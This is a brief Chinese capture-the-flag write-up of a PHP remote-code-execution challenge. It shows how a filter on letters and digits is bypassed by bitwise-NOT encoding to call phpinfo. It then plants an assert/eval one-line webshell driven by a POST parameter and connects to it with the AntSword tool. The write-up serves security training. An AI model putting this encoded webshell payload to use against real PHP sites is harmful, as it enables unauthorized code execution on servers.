[极客大挑战 2019]RCE ME

过滤了所有的字母和数字,这一次我们可以采用取反获取payload
先试试phpinfo
<?php |
所以在此
构造payload:
?code=(~%8F%97%8F%96%91%99%90)();
解析一下,因为字符串是取反了的,所以在前面填一个~相当于又取反回来了,在加上()和;相当于一个命令执行

发现禁用函数
先不管,首先创造payload:
assert(eval($_POST[1]));
这个就是一句话木马,使用assert将括号内的内容当做代码执行
将这个进行取反
但是主义assert和eval($_POST[1])要分开来取反,所以创建一个脚本
<?php |
然后使用蚁剑进行连接
连接成功

但是关键的两个打不开,我们猜测要使用readflag去进行读取,但是禁用了许多函数
我们这里可以尝试一下使用蚁剑的插件